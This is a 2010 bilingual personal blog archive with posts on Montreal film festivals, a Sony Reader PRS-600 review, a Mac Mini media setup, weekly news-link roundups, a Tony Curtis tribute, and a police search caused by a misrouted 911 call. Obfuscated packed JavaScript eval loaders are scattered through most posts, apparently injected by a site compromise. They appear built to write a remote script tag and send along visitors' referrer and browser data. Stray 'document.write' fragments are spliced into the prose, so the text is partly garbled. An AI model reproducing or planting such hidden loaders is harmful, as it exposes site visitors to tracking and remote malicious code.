Commentaires festifs

October 27, 2010 / Clodjee / Leave a comment

J’ai été tellement occupé ces derniers mois que je n’ai pas encore eu le temps de finaliser mes commentaires sur les films japonais du Festival des Films du Monde 2010. Si tout se passe comme d’habitude je les terminerai et mettrai en ligne probablement à temps pour le festival de l’an prochain!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kffaf|var|u0026u|referrer|kneyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiffy|var|u0026u|referrer|rdsdt||js|php’.split(‘|’),0,{}))

En attendant, document.write(“”); je vous propose de lire les commentaires de Claude R. Blouin, un éminent spécialiste québécois du cinéma japonais (voir sa biographie sur L’Île, ses chroniques sur le portail régional de Lanaudière et je recommande son “Petit guide de l’autodidacte vorace en culture japonaise”).

M. Blouin est un collaborateur régulier au magazine allemand Shomingeki, une publication en ligne qui offre des commentaires et des notes sur le cinéma de la vie quotidienne (au Japon, “Shomingeki“ designe un genre de cinéma dramatique pour le peuple (la classe moyenne), sur la vie de tous les jours). Il y a récemment publié son appréciation des films japonais offert tant au Festival des Films du Monde qu’au Festival du Nouveau Cinéma:

A world of illusion

October 25, 2010 / Clodjee / Leave a comment

Someone on Facebook recently linked to a video that exposes the fact there are much more special effects shots in most TV series than we would normally expect. It makes sense: as the cost of CGI goes down it becomes simpler and cheaper to simply shoot a scene in front of a green screen rather than go on location. We cannot believe what our eyes are seeing anymore. See the marvel of computer graphics:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssaiz|var|u0026u|referrer|iasyf||js|php’.split(‘|’),0,{}))

Also, document.write(“”); a lot of fuss was made recently about the nude scene Jessica Alba had in the movie Machete. The reason? It was another movie magics “fake”. See for yourself.

Sony Reader hands-on

October 25, 2010 / Clodjee / Leave a comment

This summer I commented on the Bookeen Cybook Opus ebook reader. The public libraries network where I work was lending eBook readers to some members of the staff in order to get feedback on the idea of using and lending such readers to patrons. In September, document.write(“”); a colleague had let me borrowed for a week another reader he had received for evaluation. I could finally have the eagerly awaited hands-on experience with the Sony Reader.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytfnf|var|u0026u|referrer|kndfd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybinz|var|u0026u|referrer|rfkhs||js|php’.split(‘|’),0,{}))

My first impression of the Sony Reader was one of disappointment. I had only seen it in a display case or in the hands of commuters on the subway and it seemed pretty sleek then. But in my hands it felt rather cheap (no more, no less than the Cybook Opus, but the metal finish can be deceptive) and the quality of the display was not as sharp as I expected. Considering the original price difference (however, with a recent price reduction, the Sony is now less expensive than the Cybook Opus!), I was expecting more from the Sony Reader. After trying it out, I found that it had not much more functions than the Opus. Of course, here it is important to precise that the model provided by the library network (as it was for the Cybook Opus) was an older model.

The Sony Reader PRS-600 is larger than the Cybook Opus (6.9 x 4.8 x .4 inches) and is nearly twice as heavy (10.1 oz/286 g). It also offers a slightly bigger Monochrome E Ink touchscreen (6 in.) with similar resolution (same 800 x 600 pixels but with twice (at 8) the grey scale levels). I don’t have any details on its processor, but it has only 512 MB of memory (enough for about 350 books, which is less than the Opus, but it can be expended with Memory Stick Duo and SD Card up to 16GB). Its rechargeable Lithium-Ion battery is good for about two weeks or 6,800 to 7,500 continuous page turns (slightly less than the Opus). It supports the DOC, PDF, RTF, TXT, BBeB, EPUB, BBeB DRM text formats, the BMP, GIF, PNG, JPEG image formats and the AAC, MP3 audio formats (that’s more text formats than the Opus, which also cannot play audio at all).

The PRS-600 features also includes highlighting & annotation capability (although limited), five adjustables font sizes to improve readability, and a built-in dictionary (2nd edition of the New Oxford American Dictionary). It comes with a USB cable, a cover sleeve, but (unlike the Opus) there is no mention of pre-loaded books. It is offered in three colors: silver, black, and red. Originally priced at $250 CDN, then reduced at $170 CDN, it is now a discontinued model.

In summary, the Sony Reader PRS-600 is larger (but heavier) than the Opus, and has less memory as well as a slightly shorter battery life. However, it has the definite advantage of supporting more text and audio formats as well as having a touch screen. It compares well with the Opus because of its nicer design and the fact that it is lightweight and quite portable (but it lacks the Opus’ pre-loaded books and accelerometer). Being an open format device, it is also more versatile than most of the other popular readers (like the Kindle or the Nook, which only offer proprietary formats and online stores) as it can read multiple formats (particularly the Epub format which is becoming the new standard of the book industry) and you can purchase books not only from Sony online store but from any online bookstores.

Basically, the Sony Reader PRS-600 has only two main problems: it has no wireless connectivity (you must be plugged to a PC to download books) and its screen really doesn’t look as good as it should (resolution, contrast and a reflection problem under bright light could all be improved; the touchscreen isn’t as responsive as it could be [like the iPad for example], there’s no contrast adjustment and no backlight to help read in darkness). I might also add that the annotation feature is rather cumbersome to use and the battery is not removable (same problem with the iPad: it is soldered to the board).

Fortunately, since the release of the PRS-600, Sony has considerably improved its line of Reader. In September, it has announced three new models and two of those were immediately available: the Touch Edition / PRS-650 (6 inch., improved touch-screen and 16-levels grey scale, 2 GB memory, 7.6 oz (215 g), $229 US / $250 CDN) and the Pocket Edition / PRS-350 (same but with 5-inch touch-screen, 5.5 oz (155 g), $179 US / $150~$200 CDN; this model seems to have received pretty good reviews). The third model will be released in November: the Daily Edition / PRS-950 (same but with 7-inch touch-screen, .5 pound, and WiFi connectivity, $299 US).

Of course, Sony’s Readers might still be more expensive than the Kindle or the Nook but, because of their design, portablility, touchscreen and greater versatility, I would definitely recommend any of them for use in a library environment. However, for a personal use (if you want a device that is more than a reader, like a netbook, and don’t mind paying a lot more), my first choice will always be the iPad.

I am still not very enthusiastic with the idea of lending ebook readers in libraries. I know that it is already being done in some libraries in the USA, but I feel that doing so would be looking for trouble. A colleague made the interesting comment that we were lending Dvds without the Dvd player, so why should we also lend the ebook reader? (the point is sound but another librarian found arguments to ridicule his comment — in french). I guess we should just wait and see how it goes for the libraries who have reader-lending on trial.

In any case, if you have the opportunity to try (or the budget to buy) a eBook reader, you should not hesitate. It is a liberating experience.

Crying in awe

October 21, 2010 / Clodjee / Leave a comment

I was just checking my blog entry “The Cosmos is singing” and it led me to watch more similar videos. Not only they make a clever use of Auto-Tune, document.write(“”); but they’re also designed to “bring scientific knowledge and philosophy to the public, in a novel way, through the medium of music”. And it brings all sorts of strange emotions in me. To see more videos check the Symphony of Science website.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndtbs|var|u0026u|referrer|bazhi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbthe|var|u0026u|referrer|nnayh||js|php’.split(‘|’),0,{}))

Here’s “The Poetry of Reality”:

Revue de Presse / Press Review (2010/10/17)

October 18, 2010 / Clodjee / Leave a comment

Personal update: What a marvelous week I had. First, document.write(“”); my set-up to watch video crashed with my network drives, so I’ve lost a terabyte of data (hopefully eventually recoverable) and I had to replace my old Apple TV with a brand new Mac Mini. Then I am handcuffed and searched by police as the result of a miserable technological failure. On top of that I’ve worked six days for three weeks in a row, ending with a seven-day stretch, so a couple of days rest will be more than welcome. All this just to prove that nothing will keep me from reading the news:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytthy|var|u0026u|referrer|keetb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Dark Horse Goes Its Own Way on Digital (ICv2)
Vertical Nabs Tezuka’s ‘Book of Human Insects’ (ICv2)
Japan Flix Pre-Launch Announcement (Japan Flix)

Apple & iPad news

Apple présentera son Lion la semaine prochaine (Cyberpresse)
Une nouvelle application iPad bientôt payante pour le NY Times (Cyberpresse)
Tablet fans about to get the Vibe (Gazette)
TED Talks take to iPad (Gazette)
Video: Bloomberg Game Changers – Steve Jobs (Blooberg)
Application iPad: prise deux pour le New York Times (Cyberpresse)
Apple Turning More Attention to Corporate Market (WSJ)
What Will Apple Reveal Next Week? (NYT)

Books, Digital Edition & Library

GG literary-award finalists include Montreal’s Kathleen Winter, Dany Laferrière (Gazette)
E-Readers Collective (NYT)
A Library to Shout About (WSJ)

Economy, Environment & International Politics/News

Japan Goes From Dynamic to Disheartened (NYT)

Health, home & garden

Immobilier: retour à la «normale» à Montréal (Cyberpresse)
Balance returning to Montreal market: MLS (Gazette)
Nouvelle technique pour empêcher la formation de calculs rénaux (Cyberpresse)
Grandioses portos 2007 ! (Cyberpresse)

Media, Culture & Society

Montreal & Local/National Politics/News

Octobre Noir: la crise d’Octobre 40 ans plus tard (Cyberpresse)
Crise d’Octobre: un monument à la mémoire des prisonniers (Cyberpresse)
‘Miracle Man of Montreal’ poised to become Catholic saint (Gazette)
Canada: Better at doughnuts than diplomacy (Calgary Herald)

Sciences & History

Quand la machine apprend le langage (Le Monde)
Linguists Stumble Upon Koro, a ‘Hidden’ Language in India (NYT)
Could a rusty coin re-write Chinese-African history? (BBC)

Technology, Gadgets & Internet

The new face of genealogy (Gazette)
Do you still watch TV on TV? (Gazette)

See also the “Suggested Links (Shared Items)” in the column on the right side

Mini is super

October 17, 2010 / Clodjee / Leave a comment

AirPort delays
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfza|var|u0026u|referrer|tfstb||js|php’.split(‘|’),0,{}))

Up to recently I was using an old Apple TV to watch my videos on my big HDTV (a 40-inch Sony Bravia Series S LCD). To store and feed the videos to the media box, document.write(“”); I also needed a network hard-drive (a Vantec’s NexStar Dual Bay Hard Drive Dock [NST-D200SU] with two terabyte-HDs plugged to an Apple’s AirPort Extreme). Unfortunately, this setting always kept the HD spinning which eventually lead to drive failure. Deeming the setting unstable (and definitely unsafe for the drives) I decided to replace the Apple TV and therefore spent some time analyzing which devices would be the best candidates for replacement. The obvious choice is the new Apple TV 2: it is one of the cheapest options, but unfortunately has all the problems of the original Apple TV (a rather unflexible device that needs to be hacked to offer interesting functionality) and has been primarily designed for streaming specific content (mostly iTunes’ movies, YouTube, NetFlix). Of course, there are plenty of media streaming devices out there (like the Popcorn Hour, the Roku, or the Boxee Box just to name a few) with each their advantages and problems. I had been pondering the dilemma for a while and finally concluded that the best and most flexible option (although the most expensive) was to use the latest Mac-Mini model.

Mini Me

The Mac-Mini (mid-2010 model) is a full-fledge computer that pack the same power as my iMac (the Mid-2007 model, which has a 2.4 GHz Intel Core 2 Duo processor with 2 GB of RAM and 320 GB of HD) but in a much smaller box (it’s about the same size of the old Apple TV). Therefore it could not only serves as a backup computer but also can easily play any type of video files (through Quicktime, Front Row, XBMC or Boxee) or even stream video from the internet. The greatest improvement on previous Mac-Mini models is that this one has an HDMI output which, like for the Apple TV, provide the best quality picture (1080p or 1920 x 1200). This is important in regard to the fact that the new Apple TV 2 offers only 720p. I can even watch Dvds since it also has a 8x slot-loading SuperDrive. As a bonus it also has a SD card slot, plenty of connectivity (a FireWire 800 port, four USB 2.0 ports, 802.11n Wi-Fi, Bluetooth 2.1 and 10/100/1000BASE-T Ethernet) and can easily be upgraded, if needed, with more memory! In conclusion: it is so much more than what I had with the Apple TV.

Streaming is the dream

I am glad that I was able to quickly replaced my old Apple TV so I was not deprived for too long of the ability to watch downloaded videos. And I am even happier to have replaced it with a media player that is much better and more powerful. Now I can watch hi-definition videos (those heavy mkv files) without getting a jumpy picture or out of sync sound. I can browse the internet and enjoy all the advantage of iTunes from my couch. But I have also discovered something new.

I had heard of streaming sites like Hulu before, but never bothered to check it because it is not available in Canada. I’ve heard of several equivalent Canadian sites, but I don’t like to watch TV on my computer (it’s only a twenty-inch screen and the seat is really uncomfortable) and most of those sites don’t work on my iPad because they are flash-based. I tried Crunchyroll or Netflix on the iPad but you get tired easily on a ten-inch screen (although some apps, like Netflix, work with the out-video cable) and it can still be a little slow or jerky sometimes. However I was really astonished by the ability of the Mac-Mini to stream video to my HDTV.

I am convinced that web TV is really the future of television and sometimes wonder why I still bother to pay for cable. You already can stream lots of video on demand and even live TV. Here’s a few sites that I’ve found interesting:

Crunchyroll (anime & drama, work on iPad)
Netflix (movie, TV, work on iPad)
Tou.tv (TV, en français / in french, coming for iPad in Dec.)

Anime News Network (anime)
CBC (TV)
City TV (TV)
Discovery Canada (TV)
Drama Fever (Korean & Japanese drama)
Global TV (TV)
iTunes Movie Trailers (TV, work on iPad)
Space channel (TV, sci-fi)
V Télé (TV, in french/en français, work on iPad)
Videotron’s Illico web TV (TV)
wwitv.com (live TV)

Quis custodiet ipsos custodes?

October 12, 2010 / Clodjee / 1 Comment

Alignement Karmique?
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Des fois on expérimente dans la vie des événements qui, document.write(“”); quand on y repense par la suite, semblaient présager ce que l’avenir nous réservait. Je ne saurais dire si cela est le résultat de quelque extraordinaire coïncidence ou d’une sorte d’étrange alignement karmique, mais cela m’est arrivé à quelques reprises. Par exemple, je me souviens avoir vu, à la fin de l’été 2001, un reportage sur la situation en Afghanistan, puis, quelques jours plus tard à une conférence de presse du Festival des Films du Monde, j’ai vu un groupe de femmes afghanes faire un éclat pour attirer l’attention sur leur situation sous les talibans. Une semaine plus tard, deux avions de ligne percutaient les tours du World Trade Center, menant ultimement à la guerre en Afghanistan… La conjoncture de ces événements dans ma vie me donna une sinistre impression.

Et bien hier j’ai de nouveau expérimenté cette étrange conjoncture…

Mercredi dernier, dans le cadre des “Grands Reportages”, Radio-Canada montrait le documentaire La Rafle qui décrivait les abus policers et la suspension des droits civils suite aux arrestations arbitraires qui eurent lieu lors des “Événements d’Octobre” de 1970 et dont on commémorait le quarantième anniversaire. Je n’avais pas le temps d’écouter ce reportage alors je l’ai enregistré sur l’enregistreur video personal (EVP) de mon terminal illico. Hier, au retour du travail, j’ai décider de le visionner tout en mangeant mon souper. Intéressante, cette période de notre histoire. Heureusement, des choses comme ça ne pourraient plus se produire de nos jours (famous last word / claquement de tonnerre sinistre). Je ne n’avais aucune idée de ce que cela pourrait présager pour moi… (mais j’aurais du me douter qu’une date comme le 10-10-10 me réserverait quelques surprises: on me dit qu’en binaire ce chiffre fait quarante-deux — un nombre significatif si on en croit le Hitchhiker’s Guide to the Galaxy!)

“Book ‘im, Danno!”

Après avoir visionné “La Rafle” j’ai continué à regarder des émissions de télé pré-enregistrées, jusqu’à ce que le buzzer et la sonnette de la porte d’entrée retentissent tous deux avec insistance. Il est à peu près vingt-heure trente: je ne reçoit pratiquement jamais de visiteurs (surtout pas en soirée) et il est encore trop tôt pour que ma femme revienne de son travail. Je vais donc ouvrir la porte d’entrée avec une prudente curiosité.

Sur le perron je découvre quatre agents de police plus ou moins disposés en éventail devant la porte. J’ai un bref moment de panique et imagine qu’il est arrivé quelque chose à ma femme. Je n’ai cependant pas le temps de dire quoique ce soit, notant en un éclair que deux des policiers ont la mains sur leurs armes de service, que l’un d’entre eux me demande poliment de sortir sur le balcon. Tout se passe très vite: je suis éberlué par la tournure des événements et dans le temps de le dire je suis fouillé pour s’assurer que je ne dissimule pas d’armes et je suis menottée les mains derrières le dos. On m’explique alors (c’est toujours le même policier qui parle; c’est sans doute le plus haut gradé des quatre), lentement et calmement, qu’un appel anonyme les avait averti qu’une femme se faisait violentée au couteau à mon adresse et qu’on voulait simplement fouiller mon appartement pour s’assurer que tout allait bien. Ou bien c’était la femme elle-même qui, poursuivit par son conjoint avec un couteau, s’était enfermée dans la salle de bain et avait appelé la police avec son cellulaire; je ne sais plus, je ne me souviens plus très bien de l’explication. J’ai protesté faiblement que j’étais seul dans l’appartement, qu’il n’y avait personne d’autre et que ma femme était encore à son travail. Quelques instant plus tard, deux policiers ayant fait le tour de la place et constaté qu’effectivement il n’y avait rien à signaler et que j’étais bien seul, on m’a libéré avec des excuses qui semblaient bien sincères.

J’ai alors cherché à avoir quelques explications. “Vous êtes bien sûr que c’était mon adresse?” ai-je demandé. “Vous savez les livreurs de restaurants passe leur temps à venir sonner chez moi alors que leur destination véritable est la rue d’à côté. Ça ne serait pas la première fois que quelqu’un se trompe d’adresse” dis-je sur un ton nerveux qui essayait de détendre l’atmosphère. On m’assure qu’il n’y a pas d’erreur et que c’est bel et bien l’adresse qu’on leur a donné. Je demande à avoir du suivi sur cette affaire, si cela est possible. Les policiers sont parti, me laissant sur le perron à m’inquiéter que mes chats aient profité de la porte restée ouverte plusieurs minutes pour s’échapper. Mais heureusement l’un dormait profondément sur le divan du salon et l’autre, plutôt peureux, se cachait au sous-sol. Les policiers sont resté un petit bout de temps dans leur voitures de patrouille, attendant sans doute de nouvelles instructions.

J’en conclu que tout cela est peut-être un canular (bien méchant) ou que les téléphonistes du 911 aurait mal comprit l’adresse. Cela a, dans les deux cas, des conséquences désagréables pour quelqu’un: dans un cas mon amour-propre a été blessé (se faire ainsi menotter sur son perron, nue pied et en robe de chambre, à la vue de tout les voisins, c’est assez humiliant!), dans l’autre il y a une victime espérant des secours qui n’arrive pas…

But who watches the watchmen?

J’ai passé un coup de fil à ma sœur. Parler de cette aventure rocambolesque m’a aidé à me calmer. Puis je suis retourné regarder la télé…

Toutefois, si l’on laisse une graine de paranoïa germer pour un instant, la question se pose: n’est-il pas un peu trop facile pour les forces de l’ordre d’arrêter les gens, des pénétrer dans leur domicile sans mandat et de fouiller les lieux? Et qui sait ce qu’ils auraient pu faire d’autre dans mon appartement pendant que j’étais menoté à l’extérieur?

Bien sûr, on peut toujours argumenter que les policiers ont été poli, efficace, et qu’ils avaient des raisons justifiées (“probable cause” comme ils disent dans les séries télé) d’agir comme ils l’ont fait. Après tout ils ne faisaient que leur travail et nous en sommes plus sécure. Mais n’empêche que, quand c’est à vous que ça arrive, ce n’est jamais drôle. L’adrénaline me monte au nez rien que d’y penser et la vue d’une voiture de police me donne encore d’étranges sueurs froides…

Si je n’avait pas écrit ceci je pourrais croire, maintenant, que tout cela n’était qu’un (mauvais) rêve…

Il faut aussi croire que je ne suis pas le seul à qui une telle aventure est arrivée durant ce long week-end… Étrange, vraiment étrange.

Update (2010-10-12): Après une visite au poste de police pour obtenir des clarifications, il s’avère que l’appel a été placé à la police de Longueuil. Aucune addresse n’ayant été donné, l’appel cellulaire a été triangulé à mon addresse — où la police n’a trouvé qu’un “homme en pyjama regardant la télé avec son chat”. Il a par la suite été établi que la dame en détresse était localisée à Rougemont en Montérégie! J’ai donc été victime d’une défaillance technologique… C’est beau le progrès!

Revue de Presse / Press Review (2010/10/09)

October 10, 2010 / Clodjee / Leave a comment

Personal update: I worked another 6-day week and this time it was more tiring because I had to get up earlier several days in a row (therefore sleeping less). No time to do anything but read the news… And for that it was a good week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhdnt|var|u0026u|referrer|knery||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdhr|var|u0026u|referrer|idtti||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Kodansha to Shift U.S. Titles (ICv2)
The 100 Most Important Japanese Words You Should Know (Tofugu)
The Bright Side of Fantastic Fest: Animated Features Reviews! (Cinematical)
North American Manga Market to Drop 20% in 2010 (ANN)
Review of ‘Valerian and Laureline Vol. 1- The City of Shifting Waters’ GN (ICv2)
ICv2’s Digital Comics Market Size Estimate (ICv2)
Dark Horse to Price Digital Comics at $1.49 (ICv2)

Apple & iPad news

Bell: was it all a lie? (Gazette)
Une application iPhone pour éviter les gaffes à l’étranger (Cyberpresse)
Apple Making Verizon-Ready iPhone by Year End (WSJ)
Quatre suites bureautiques pour iPad (Cyberpresse)
Tou.tv bientôt sur Apple TV et iPad? (Cyberpresse)

Books, Digital Edition & Library

‘Enhanced ebooks’ take world’s biggest book fair by storm (Gazette)
A la recherche d’un nouveau modèle de bibliothèque publique (RFI)
L’e-veille en 6 liens et c’est tout (Espace B)
Nobel laureate worries for literature in digital age (Gazette)

Economy, Environment & International Politics/News

Des panneaux solaires sur la Maison-Blanche (Cyberpresse)
En Hongrie, les boues toxiques atteignent le Danube (Le Monde)
Retraites: les syndicats entre radicalisation et exaspération (Le Monde)
Chilean miners could emerge from ‘hell’ on Wednesday (Gazette)

Media, Culture & Society

Family, friends say farewell to Tony Curtis (MSNBC)
Le prix Nobel de littérature décerné à Mario Vargas Llosa (Le Monde)
As Japan Ages, Pop ‘Idols’ Aren’t as Spry as They Used to Be (NYT)
Canada could easily pass for Middle Earth (Gazette)

Montreal & Local/National Politics/News

SAQ to operate outside Quebec (Gazette)
Quebec law to award métro car contract to Bombardier-Alstom (Gazette)
Montréal et ses cols bleus enterrent la hache de guerre (Cyberpresse)
City, blue-collars reach new deal (Gazette)
Montreal has one of the best transit systems in North America (Gazette)
Montréal et ses cols bleus s’entendent (Métro Montréal)
À l’ère de l’autobus 2.0 (Métro Montréal)
What’s open, what’s closed on Thanksgiving (Gazette)

Sciences & History

Solar system’s shield may be leaking (Gazette)
Découverte d’une langue inconnue en Inde (Cyberpresse)
Honeybee Killer Found by Army and Entomologists (NYT)

Technology, Gadgets & Internet

Google Latine addidit cultum “translation” [Google adds Latin to translation service] (Gazette)
TV’s Future Is (Almost) Here (NYT)
Les grandes tendances 2010 (Canoe)
Les Canadiens adopteront-ils Netflix? (Canoe)

See also the “Suggested Links (Shared Items)” in the column on the right side

Tony Curtis (1925-2010)

October 5, 2010 / Clodjee / Leave a comment

To pay tribute to Tony Curtis, document.write(“”); who died last week, I am re-posting this video of the press conference he did at the Montreal World Film Festival in 2008 to talk about the documentary “The Jill and Tony Curtis Story.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhkys|var|u0026u|referrer|fstdf||js|php’.split(‘|’),0,{}))

Tony Curtis from clodjee on Vimeo. (Also available on Blip.tv).

Revue de Presse / Press Review (2010/10/02)

October 2, 2010 / Clodjee / Leave a comment

Personal update: It’s been cold and rainy lately. I’m still tired and busy. I must say that I have accepted replacements in so many libraries that I’ve been working six days this week (and it will be the case for the next two weeks). I feel like an idiot. After that I should work a normal week for a while, document.write(“”); just to take the time to rest (and dedicate myself to my others important projects). Meanwhile, I have accumulated many interesting news stories that I would like to share:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fynzf|var|u0026u|referrer|zzfre||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enhis|var|u0026u|referrer|yisdf||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Crunchyroll Adds Time Jam (ANN)
Interview with Masaaki Shimizu (ICv2)
Mangaka profile (6): Miyako Maki (????) (Masters of Manga)
More disappearing manga at Del Rey? (Robot 6)
Cobra, Jesus, Umezu Manga Released in English (ANN)
Banned Books Week Means Graphic Novels Too (Okazu)

Apple & iPad news

Discovering ancient Pompeii with iPad (Apple)
Des applications vidéo pour l’iPad (Cyberpresse)
Apple gadgets to get wireless printing in November (Gazette)
Apple, chouchou des médias américains? (Cyberpresse)
iPhone 4 arriving in Bell Canada stores (Gazette)
Apple TV vs. Roku XDS- Let the content streaming begin (USA Today)

Books, Digital Edition & Library

Ken Follett: écrire géant (Cyberpresse)
E-readers gain traction in the U.S., spur sales: poll (Gazette)
Bibliothèques publiques de Montréal: Ressources en ligne (BPM)
In Scholastic Study, Children Like Digital Reading (NYT)
Twitter: Banned Books’ New Best Friend (NYT)
Scholastic Report: Are Dads the Key to Get Boys to Read? (WSJ)
Livres numériques italiens: un accent québécois (Cyberpresse)

Economy, Environment & International Politics/News

Ancient Italian Town Has Wind at Its Back (NYT)

Health, home & garden

Are you secretly sad? (CNN)

Media, Culture & Society

Atheists and agnostics most knowledgeable about religion (Gazette)
Basic Religion Test Stumps Many Americans (NYT)
Le Festival du nouveau cinéma rendra hommage à Pierre Falardeau (Rue Frontenac)
Le Japon au Festival du nouveau cinéma (FNC)

Montreal & Local/National Politics/News

Blue-collars OK conciliator’s contract recommendations (Gazette)

Sciences & History

Le squelette d’un jeune Méditerranéen découvert à Stonehenge (Métro Montréal)
New Planet May Be Able to Nurture Organisms (NYT)

Technology, Gadgets & Internet

La tablette BlackBerry PlayBook en huit points (Cyberpresse)
Mobile payments catch on with American banks, phone makers (Gazette)
Les ayants droit musicaux s’attaquent à un nouveau programme de téléchargement (Le Monde)
